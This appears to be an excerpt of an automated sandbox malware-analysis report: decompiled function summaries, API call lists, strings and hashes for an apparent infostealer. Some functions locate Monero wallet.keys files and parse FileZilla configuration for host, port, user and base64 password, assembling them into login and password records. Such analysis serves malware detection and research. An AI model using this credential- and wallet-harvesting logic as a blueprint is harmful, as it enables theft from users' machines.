Instruction Fuzzy Hash: 90715AB3A185104FF314692DDC457BABAD6DBD4330F2B463DEA88D3784E9394C058285

Function 0089171F Relevance: 2.6, Strings: 2, Instructions: 81COMMON

Download Yara Rule

Strings

r7~, xrefs: 00891E65
C, xrefs: 0089198A

Memory Dump Source

Source File: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: C$r7~
API String ID: 0-3129029804
Opcode ID: 7b02e675fd7ef091c8af83fda018e9dce808090002302e720df0c24faad9bb54
Instruction ID: 3b9c75f2b4d958df6f94cc3e9f02ea38c6082084dd8e3eab35031e260f28a8c7
Opcode Fuzzy Hash: 7b02e675fd7ef091c8af83fda018e9dce808090002302e720df0c24faad9bb54
Instruction Fuzzy Hash: C72107B250D30EAFDF00BE158959A7A7AEDFB41318F280829E587C6600E2715D54A656

Function 0046F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004815B8,00480D96), ref: 0046F71E
StrCmpCA.SHLWAPI(?,004815BC), ref: 0046F76F
StrCmpCA.SHLWAPI(?,004815C0), ref: 0046F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0046FAB1
FindClose.KERNEL32(000000FF), ref: 0046FAC3

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 25c29c1546c457a8ad7bcbd5dc12ce0d2ebdc1edbee160c13b0bc262f86ce57d
Instruction ID: 6563d5b208e40758e3d76e1af88bd4e8e96e8e4b2987cf703fbb6564713c7896
Opcode Fuzzy Hash: 25c29c1546c457a8ad7bcbd5dc12ce0d2ebdc1edbee160c13b0bc262f86ce57d
Instruction Fuzzy Hash: E911B77080010CABDB14FBB1DC559EE7378AF50304F5186AFA51E56092EF382B1ACBA7

Function 007CF201 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

sZ?, xrefs: 007CF22F

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID: sZ?
API String ID: 0-2346340252
Opcode ID: 66cdcd1d76a6802b8067663dc636f023997d4455d3eb82093b9845a3b2f6581e
Instruction ID: 74a40012f217c2b35455f40320e0681349383d40db77956004f2622219bf4c1b
Opcode Fuzzy Hash: 66cdcd1d76a6802b8067663dc636f023997d4455d3eb82093b9845a3b2f6581e
Instruction Fuzzy Hash: B93133F7F096201BF308883DDD8872676D6D3D4321F2A823EEA4597BC8EC795C094285

Function 0082979E Relevance: .8, Instructions: 847COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da124e022ad32c0c21ea6043963b057e2386b158cffd2cd3ec0de1a0f4a608d7
Instruction ID: ac9f111d01e3812841255bb34fa32caa4baece1b6fd5003ff9d645698c207844
Opcode Fuzzy Hash: da124e022ad32c0c21ea6043963b057e2386b158cffd2cd3ec0de1a0f4a608d7
Instruction Fuzzy Hash: 984205F3A0C2149FE7046F29EC8567ABBE9EF94320F16493DEAC493744EA3558018797

Function 006FE859 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596695106ae1e1636638a2932874c33c73455c0b08245aea9d849a315b7a7974
Instruction ID: 7bfe748fe68afccd7a1c292c0914c7fcfd2fffab56ced1e35217725373c38507
Opcode Fuzzy Hash: 596695106ae1e1636638a2932874c33c73455c0b08245aea9d849a315b7a7974
Instruction Fuzzy Hash: E6612CB3A0C2146FF3046A6DEC45B7BB7D9DBC4770F2A423DEA94C3780E93558058696

Function 0072FB7E Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eec1c907b63519b9957a8d52e0ebb9ed81b1cbe95a7d9a5c5202e7cd1feefa0f
Instruction ID: 9f27c11480a6f830129bfd470985301fbba349611ca89c3fc3ebae2f4e2b8dcd
Opcode Fuzzy Hash: eec1c907b63519b9957a8d52e0ebb9ed81b1cbe95a7d9a5c5202e7cd1feefa0f
Instruction Fuzzy Hash: 2D7126F3E086048FF3046E38DC84766B6D5EB94310F1A863DDAC8D7784E97A9D468682

Function 006D7FEC Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6636fd2c54338e16cb01f3c99d1ee7045250937e8bb6b82cf6c03f6243b01d5
Instruction ID: d0acdccede97b74fe5793a5cfaaa0ca4e3905bc9ab586abb24c609c22945aa83
Opcode Fuzzy Hash: d6636fd2c54338e16cb01f3c99d1ee7045250937e8bb6b82cf6c03f6243b01d5
Instruction Fuzzy Hash: 8D5167F3D082204BE3186A2DDC5536AB7E5DBD0320F2B463DEEC5A7384E93A5C4186C6

Function 0072B754 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe85fcbaa6f7551f87c5a93e9b1ca67ddffae9f3599d1b593fe367da174be86
Instruction ID: 7aea118a593b7dc61a28cb16a90227f0cd87fae9109007b2d2839a9eccff845f
Opcode Fuzzy Hash: cbe85fcbaa6f7551f87c5a93e9b1ca67ddffae9f3599d1b593fe367da174be86
Instruction Fuzzy Hash: E4517DF3E081049BE704AE3DDC0577BBBA6DBD0320F1A863DE6D4977C8E93958058686

Function 008E3F62 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97b191731f40872dd52c1b34a63bd2bfda4f9c95931d5fc4a0d983161a45cc3
Instruction ID: 68ada515132c1e5d836974d18e78b6c54dace3b57fec0969254dff51938a0957
Opcode Fuzzy Hash: a97b191731f40872dd52c1b34a63bd2bfda4f9c95931d5fc4a0d983161a45cc3
Instruction Fuzzy Hash: 0541CBF391C64D9FD3545E2A9C4963BB6E4FB86328F35063DE292D7B44F9718D009282

Function 007C8A9E Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79908adf1086acd139cc5cdb2a27021a348ce0d7c488b0b296925c12624d5dd
Instruction ID: d1b86eae5683ef617227ac055a6e640039a9d955e5041ebe1ee9ece425714b66
Opcode Fuzzy Hash: d79908adf1086acd139cc5cdb2a27021a348ce0d7c488b0b296925c12624d5dd
Instruction Fuzzy Hash: 05416AF3A0C3009BE3486E2DED95737B7D6EB84720F25843DE985C3384E97598014656

Function 00479750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00470250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 00478DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00478E0B

Part of subcall function 0047A920: lstrcpy.KERNEL32(00000000,?), ref: 0047A972
Part of subcall function 0047A920: lstrcat.KERNEL32(00000000), ref: 0047A982

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004699EC
Part of subcall function 004699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00469A11
Part of subcall function 004699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00469A31
Part of subcall function 004699C0: ReadFile.KERNEL32(000000FF,?,00000000,0046148F,00000000), ref: 00469A5A
Part of subcall function 004699C0: LocalFree.KERNEL32(0046148F), ref: 00469A90
Part of subcall function 004699C0: CloseHandle.KERNEL32(000000FF), ref: 00469A9A

Part of subcall function 00478E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00478E52

GetProcessHeap.KERNEL32(00000000,000F423F,00480DBA,00480DB7,00480DB6,00480DB3), ref: 00470362
RtlAllocateHeap.NTDLL(00000000), ref: 00470369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00470385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 00470393
StrStrA.SHLWAPI(00000000,<Port>), ref: 004703CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 004703DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00470419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 00470427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00470463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 00470475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 00470502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 0047051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 00470532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 0047054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00470562
lstrcat.KERNEL32(?,profile: null), ref: 00470571
lstrcat.KERNEL32(?,url: ), ref: 00470580
lstrcat.KERNEL32(?,00000000), ref: 00470593
lstrcat.KERNEL32(?,00481678), ref: 004705A2
lstrcat.KERNEL32(?,00000000), ref: 004705B5
lstrcat.KERNEL32(?,0048167C), ref: 004705C4
lstrcat.KERNEL32(?,login: ), ref: 004705D3
lstrcat.KERNEL32(?,00000000), ref: 004705E6
lstrcat.KERNEL32(?,00481688), ref: 004705F5
lstrcat.KERNEL32(?,password: ), ref: 00470604
lstrcat.KERNEL32(?,00000000), ref: 00470617
lstrcat.KERNEL32(?,00481698), ref: 00470626
lstrcat.KERNEL32(?,0048169C), ref: 00470635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00480DB2), ref: 0047068E

Strings

url: , xrefs: 00470577
<Port>, xrefs: 004703C6
browser: FileZilla, xrefs: 00470559
<User>, xrefs: 00470410
<Pass encoding="base64">, xrefs: 0047045A
profile: null, xrefs: 00470568
login: , xrefs: 004705CA
<Host>, xrefs: 0047037C
